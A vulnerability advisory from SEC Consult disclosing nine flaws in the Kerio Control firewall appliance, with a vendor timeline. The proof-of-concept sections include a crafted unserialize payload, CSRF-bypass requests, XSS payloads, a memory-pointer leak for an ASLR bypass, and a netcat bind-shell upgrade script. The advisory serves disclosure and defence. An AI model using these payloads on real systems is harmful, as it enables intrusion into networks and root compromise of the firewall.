SEC Consult has also released a blog post describing the attack scenarios
of the vulnerabilities within this advisory in detail and a video which
shows the remote attack. Exploit code has been developed as well but will
not be released for now.

Blog:
https://blog.sec-consult.com/2016/09/controlling-kerio-control-when-your.html

Video:
https://www.youtube.com/watch?v=y_OWz25sHMI


SEC Consult Vulnerability Lab Security Advisory < 20160922-0 >
=======================================================================
              title: Potential backdoor access through multiple vulnerabilities
            product: Kerio Control Unified Threat Management
 vulnerable version: <9.1.3, verified in version 9.1.0 build 1087 and 9.1.1
                     build 1324
      fixed version: 9.1.3 (partially fixed, see vendor statement below)
         CVE number: -
             impact: critical
           homepage: https://www.kerio.com/
              found: 2016-08-24
                 by: R. Freingruber (Office Vienna)
                     R. Tavakoli (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Montreal - Moscow
                     Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Protect your network from viruses, malware and malicious activity
with Kerio Control, the easy-to-administer yet powerful all-in-one
security solution.
Kerio Control brings together next-generation firewall capabilities -
including a network firewall and router, intrusion detection and
prevention (IPS), gateway anti-virus, VPN, and web contentand
application filtering. These comprehensive capabilities and unmatched
deployment flexibility make Kerio Control the ideal choice for small
and mid-sized businesses."

Source: https://www.kerio.com/products/kerio-control


Business recommendation:
------------------------
By combining the vulnerabilities documented in this advisory an attacker
can fully compromise a network which uses the Kerio Control appliance for
protection.

The attacker can trick a victim to visit a malicious website which then conducts
the internal attack. The attacked victim must be logged in or weak credentials
must be configured which can be found with a bruteforce attack.

The attacker will gain a reverse root shell from the Internet to the internal
Kerio Control firewall system. Moreover, it's possible that an internal attacker
uses the described vulnerabilities to escalate his privileges (low privileged
account to full root shell) to steal credentials from other users on the UTM
appliance.

Most vulnerabilities (RCE, CSRF bypasses, XSS, Heap Spraying) were found
in just two PHP scripts. Both scripts are not referenced by any other
PHP script nor by any binary on the system.
Both scripts contain a different(!), seemingly deliberate(?) CSRF bypass
which make the vulnerabilities exploitable from the Internet to obtain a
reverse root shell.

SEC Consult recommends not to use Kerio Control until a thorough security
review has been performed by security professionals and all identified
issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) Unsafe usage of the PHP unserialize function and outdated PHP version leads
   to remote-code-execution
An authenticated user (standard user or administrator) can control data, which
gets later unserialized. Kerio Control uses PHP 5.2.13 which was released on
2010-02-25. This version is more than 6 years old and several bugs were found
in the meantime within the unserialize function. The following CVE numbers
are just some examples for vulnerabilities in unserialize which lead to remote
code execution:
  -) CVE-2014-8142
  -) CVE-2014-3515
  -) CVE-2015-0231
  -) CVE-2015-6834
  -) CVE-2016-5771
  -) CVE-2016-5773

PHP 5.2.13 is especially affected by CVE-2014-3515. This vulnerability uses a
type confusion attack to trigger a use-after-free vulnerability. It can be used
to read data and get full code execution. In the case of Kerio Control the
result of unserialize is not reflected back to the attacker. It's therefore not
possible to read memory from the stack or heap (e.g. to bypass ASLR).

Nevertheless, SEC Consult developed a fully working and reliable (blind) exploit
for this vulnerability which spawns a reverse root shell to the Kerio Control
system.
For this exploit a user account is required. However, it's also possible to
conduct the attack via the Internet because the CSRF (Cross Site Request
Forgery) check can be bypassed (see below).

An attacker can use this vulnerability to break into a company network via the
Internet by tricking a logged in user to visit a malicious website. Even if the
user is currently not logged in the attacker can start a bruteforce attack to
obtain valid credentials to conduct the attack.


2) PHP script allows heap spraying
One of the PHP scripts allows the allocation of memory inside the main binary
(winroute) of Kerio Control. Winroute contains the code of most services
(e.g. the webserver, PHP, network related functionality, ...).
The memory will not be freed after finishing the request and can therefore be
used to spray payloads to the whole memory space.

This vulnerability was used in the overall exploit to defeat ASLR.
Please bear in mind that it's very likely that an attacker can write a working
exploit without heap spraying. Fixing this vulnerability would therefore not
prevent the exploitation of the remote code execution vulnerability.
For example, the information disclosure vulnerability from this advisory can
be used to bypass ASLR as well. This would eliminate the need of heap spraying.


3) CSRF Protection Bypass
The PHP scripts contain code to protect against CSRF (Cross Site Request
Forgery) attacks. Because of the wrong usage of PHP binary
operations and comparisons it's possible to bypass this check. That means
that an attacker can trigger requests from other websites which will be handled
by Kerio Control. This vulnerability allows to exploit the remote code
execution vulnerability from the Internet to break into a network.


4) Webserver running with root privileges
The main binary (which contains the webserver and PHP) runs with root
privileges.

Kerio told SEC Consult that this vulnerability will not be fixed. SEC
Consult strongly recommended otherwise.


5) Reflected Cross Site Scripting (XSS)
Kerio Control does not properly encode parameters which are reflected on the
website. This leads to cross site scripting vulnerabilities.
An attacker can abuse these vulnerabilities to modify the website or do actions
in the context of the attacked user.


6) Missing memory corruption protections
The main binary (winroute) is not compiled as position-independent executable
(PIE). This allowed the use of ROP (return-oriented-programming) code to
bypass the not executable heap. Moreover, the stack is per default marked as
executable, but the exact location of the stack is randomized by ASLR.


7) Information Disclosure leads to ASLR bypass
One of the PHP scripts leaks pointers to the stack and heap.
This can be abused by attackers to bypass ASLR.
Because stacks are marked as executable an attacker can therefore easily bypass
ASLR and DEP/NX.


8) Remote Code Execution as administrator
Nearly a year ago on 2015-10-12 Raschin Tavakoli reported a remote code
execution vulnerability in the administrative web interface in the upgrade
functionality. This vulnerability is still unfixed, only the associated XSS
vulnerability was fixed. However, an attacker can still exploit it from the
Internet, e.g. by abusing the XSS vulnerability described in this advisory
(where the CSRF check can be bypassed).

With this vulnerability an attacker can gain a reverse root shell on
Kerio Control again if a logged in administrator visits a malicious website
on the Internet.
More information can also be found in the old advisory:
https://www.exploit-db.com/exploits/38450/


9) Login not protected against brute-force attacks
There are no bruteforce protections in place for the login.
If an unauthenticated victim visits an attacker's website, the attacker can
start a bruteforce attack to obtain valid credentials to execute the
remote code execution exploit. Via image-loading the attacker can detect if
the current credentials are valid (without violating SOP).


Proof of concept:
-----------------
1) Unsafe usage of the PHP unserialize function and outdated PHP version leads
   to remote-code-execution
The following request can be used to set the unserialize data. In this example
a faked string is used which points to 0xffffffff (kernel memory). Unserializing
it will therefore crash the remote webserver (the winroute process).

POST /set.php HTTP/1.1
Host: $IP:4081
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 730

k_securityHash=x&target=k_sessionVariable&k_variable=lastDisplayed&k_value=a:18:{s:8:"k_dbName";s:5:"error";s:11:"k_dbSummara";s:3:"abc";s:14:"k_dbIndividual";s:3:"abc";s:16:"k_dbLastUsedType";s:3:"abc";s:10:"k_dbLayout";s:3:"abc";s:10:"k_pageType";s:3:"abc";s:13:"k_periodStart";i:123;s:11:"k_periodEnd";i:123;s:8:"k_userId";i:123;s:6:"tabBar";i:123;s:13:"k_gotoElement";i:123;s:9:"k_protoId";i:123;s:11:"k_errorType";i:123;s:16:"k_timezoneOffset";i:123;s:9:"k_groupId";i:123;s:2:"id";i:123;s:11:"k_dbSummary";C:16:"SplObjectStorage":152:{x:i:2;O:8:"stdClass":1:{i:0;a:2:{i:1;i:1;i:2;i:2;}};d:2.0851592721051977e-262;;m:a:2:{i:0;S:15:"\ff\ff\ff\ff\20\00\00\00\01\00\00\00\06\00\00";i:1;R:3;}}s:18:"k_historyTimestamp";s:3:"abc";}

The following request will call unserialize on the injected data:

GET /contentLoader.php?k_getHistoryId=1&k_securityHash=x HTTP/1.1
Host: $IP:4081
Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>;
Connection: close

In the example above only a denial of service will be conducted. However, an
attacker can change the data type to object to get full code execution on
the remote system.

SEC Consult developed a fully working exploit for this attack which spawns a
root shell. Please note that this exploit was intentionally written to just
target Kerio Control 9.1.0 Build 1087. This is because hardcoded offsets
are used which belong to the winroute binary with the SHA256 hash:
2808c35528b9a4713b91f65a881dfca03088de08b6331fdee1c698523bd757b0
This exploit will not be released for now.

A real-world-attacker can detect the remote binary version by bruteforcing
the object handler related to CVE-2014-3515.


2) PHP script allows heap spraying
The set.php script contains the following code:
$p_variable = urldecode($_POST['k_variable']);
$p_value = urldecode($_POST['k_value']);
...
$p_session->setSessionVariable($p_variable, $p_value);

POST requests with the following parameters can therefore be used to allocate
space on the remote system:
k_securityHash=x&target=k_sessionVariable&k_variable=<random_name>
&k_value=<payload_to_allocate>

During tests it was possible to spray approximately 400 MB data in 30 seconds
which is enough to control two predictable addresses on the heap.


3) CSRF Protection Bypass
Two scripts are required for the remote code execution exploit:
  -) set.php
  -) ContentLoader.php
Both scripts contain different very interesting CSRF check bypasses.

The following code can be found in set.php:
$p_session->getCsrfToken(&$p_securityHash);
$p_postedHash = $_GET['k_securityHash'] || $_POST['k_securityHash'];
if ('' == $p_postedHash || ($p_postedHash != $p_securityHash)) {
exit();
}

Since the programming language is PHP (and not JavaScript), the above code code
does not work as expected. $p_postedHash can only become 0 or 1 because || is a
logical operator. The if-condition compares the valid token with the posted one
via the != operator, however, this will not check if types are the same.
If k_securityHash is set (either via GET or POST) to any value, the above code
will compare the number 1 with a string, which will always bypass the check.
It's therefore enough to set k_securityHash to any value to bypass the CSRF
protection.

The following code can be found in contentLoader.php:
$p_session->getCsrfToken(&$p_securityHash);
$p_postedHash = $_GET['k_securityHash'];
...
if (!$p_session || ('' == $p_postedHash && $p_postedHash != $p_securityHash)) {
$p_page = new p_Page();
$p_page->p_jsCode('window.top.location = "index.php";');
$p_page->p_showPageCode();
die();
}

Now the programmers only use the GET parameter, however, they changed the
logical operator in the if condition from || to && which means that the CSRF
check will only be applied if $p_postedHash is empty. It's therefore again
enough to set k_securityHash to any value to bypass the check.


4) Webserver running with root privileges
No proof of concept necessary.


5) Reflected Cross Site Scripting (XSS)
In the following request the k_historyTimestamp parameter is prone to XSS:
https://<IP>:4081/contentLoader.php?k_dbName=x&k_securityHash=x
&k_historyTimestamp=aa%22;alert(1)%3b//

In the same request the id parameter can be used to inject JavaScript code.
Note that the attack can only be conducted against administrative users.
Users with standard privileges can only access pages with k_dbName set to one
of the following values:
  -) accStats
  -) prefs
  -) dialup
  -) error

In such a case Kerio Control adds code like the following
(in this example k_dbName=dialup):
var k_newDbName = "<kerio:text id="tabCaption_dialup"/>";

The " characters within the string are not correctly encoded.
This will lead to the termination of the JavaScript execution. Because the
injected payload is stored after this code, the attacker must bypass this
code to ensure that the payload gets executed. This is only possible if
the attacked user is an administrator because administrators can load any
dbName. By setting k_dbName to an invalid dbName (e.g. to 'x'), code like
the following will be added instead (which does not crash):
var k_newDbName = "";

Another XSS can be found at:
https://<IP>:4081/admin/internal/dologin.php?hash=%0D%0A"><script>alert(1);</script><!--


6) Missing memory corruption protections
No proof of concept necessary.


7) Information Disclosure leads to ASLR bypass
The following request returns information to the currently logged in user
(e.g. session token and username):

GET /nonauth/getLoginType.js.php HTTP/1.1
Host: $IP:4081
Cookie: SESSION_CONTROL_WEBIFACE=<valid session ID>;
Connection: close

The following is a typical response:

HTTP/1.1 200 OK
Connection: Close
Content-type: text/html
Date: Tue, 24 Aug 2016 11:47:34 GMT
Server: Kerio Control Embedded Web Server
X-UA-Compatible: IE=edge

k_loginParams.k_loginType = "loginUnlock";k_loginParams.k_nonauthToken =
"0xb59066a8";k_loginParams.k_sessionToken =
"bc7c9ae78f01e498b7c935b4ad521b664d4e2c5574bde30cdf57851a58763660";k_loginParams.k_loggedUser
= {k_asocName: "user", k_fullName: "user"};

The above response contains a valid pointer (0xb59066a8). In most cases this
pointer will point to the heap. However, sometimes this pointer will point
into a readable and writeable region behind a stack-region.
The target location always stores the same data. During the analysis no
further effort was spent on analysing this behaviour.

The pointer will also be disclosed if the user is already logged out.
In such a case the response looks like:

HTTP/1.1 200 OK
Connection: Close
Content-type: text/html
Date: Tue, 24 Aug 2016 12:04:44 GMT
Server: Kerio Control Embedded Web Server
X-UA-Compatible: IE=edge

k_loginParams.k_loginType = "loginCommon";k_loginParams.k_nonauthToken =
"0xb2ee208";


An attack scenario can be:
  -) The attacker tricks a victim to visit the attacker's malicious website
  -) The attacker's website uses the CSRF bypass and the identified XSS
     vulnerability to embed a malicious script inside the Kerio Control website
  -) The attacker's website iframes the Kerio Control website to trigger the
     execution of the XSS payload
  -) The XSS payload runs on the same domain and can therefore send requests
     and read responses. This means the attacker can send requests to
     getLoginType.js.php to obtain a memory pointer.
  -) If the memory pointer is within a specific range (e.g. the highest nibble
     is zero), it's a pointer to the heap. In such a case the RCE vulnerability
     can be used to crash and restart the server. After that the same check can
     be done again.
  -) If the memory pointer points near a stack (highest nibble is 0xb), the
     pointer can be used to calculate the base address of a stack.
  -) Now the attacker knows the location of a stack (all stacks are marked as
     readable, writeable and executable). He can now easily bypass ASLR and DEP.


8) Remote Code Execution as administrator
An attacker can create a malicious upgrade image with the following
commands:
cat upgrade.sh
#!/bin/bash
nc -lp 9999 -e /bin/bash &

tar czf upgrade.tar.gz *
mv upgrade.tar.gz upgrade.img

The image can be uploaded in the administrative web interface.
This will bind a root shell on port 9999. The complete attack can also be
conducted via the cross site scripting vulnerability described in this
advisory (XSS in contentLoader.php). This enables an attacker to conduct
the attack from the Internet to obtain a reverse shell on Kerio Control.


9) Login not protected against brute-force attacks
Valid credentials can be obtained via a brute-force attack.
It's enough to send a POST request to /internal/dologin.php with the
parameters kerio_username and kerio_password set. A remote attacker
can detect if the credentials are correct without reading the
response (SOP would not allow to read the response). This is possible
because /internal/photo will only return a valid image if the user is
currently logged in. The attacker can load an image from this URL and
check if loading was successful to leak the information if the
credentials are valid or not.
The following code demonstrates this:
<img src="https://<Kerio-IP>/internal/photo" onerror=not_logged_in();
onload=logged_in();></img>


Vulnerable / tested versions:
-----------------------------
The following product versions were found to be vulnerable which were the
latest versions available at the time of the discovery:
v9.1.0 (Build 1087)
v9.1.1 (Build 1324)


Vendor contact timeline:
------------------------
2016-08-29: Contacting vendor through website
            (bug report: bugreports@support.kerio.com) Ticket-ID: MYW-768664
2016-08-31: No answer, contacting CTO of Kerio via email
2016-09-01: Received security contact with PGP & S/MIME certificate
2016-09-01: Transmission of PGP encrypted advisory to Kerio
2016-09-09: Received answer, Kerio confirms vulnerabilities 1,2,3,5,6,7
            Statement to vulnerability 9:
            "the feature already is in the product."
            Statement to vulnerabilities 4 (Webserver running with root
            privileges) and 8 (Remote Code Execution as administrator):
            "I do not consider this a vulnerability"
            Update including a fix will be available on 2016-09-20
2016-09-09: SEC Consult informed Kerio to re-think the decision
            not fixing the vulnerabilities 4, 8 and 9
            SEC Consult highly recommends to fix all reported issues
2016-09-13: SEC Consult informed Kerio that the advisory will be
            released on 2016-09-22
2016-09-20: Kerio releases patch for Kerio Control
2016-09-22: Coordianted release of security advisory


Solution:
---------
The vendor has released version 9.1.3 on 20th September which, according
to the vendor, fixes the vulnerabilities 1,2,3,5,6,7.

The vendor told us the following regarding vulnerability 9:
"the feature already is in the product"

Vulnerability 4 and 8 are not considered a vulnerability by the vendor
and will not be fixed.
SEC Consult strongly recommended fixing issue 4 and 8 as well.

The latest version can be downloaded from here:
https://www.kerio.com/support/kerio-control
https://www.kerio.com/support/kerio-control/release-history


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Montreal - Moscow
Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF R. Freingruber / @2016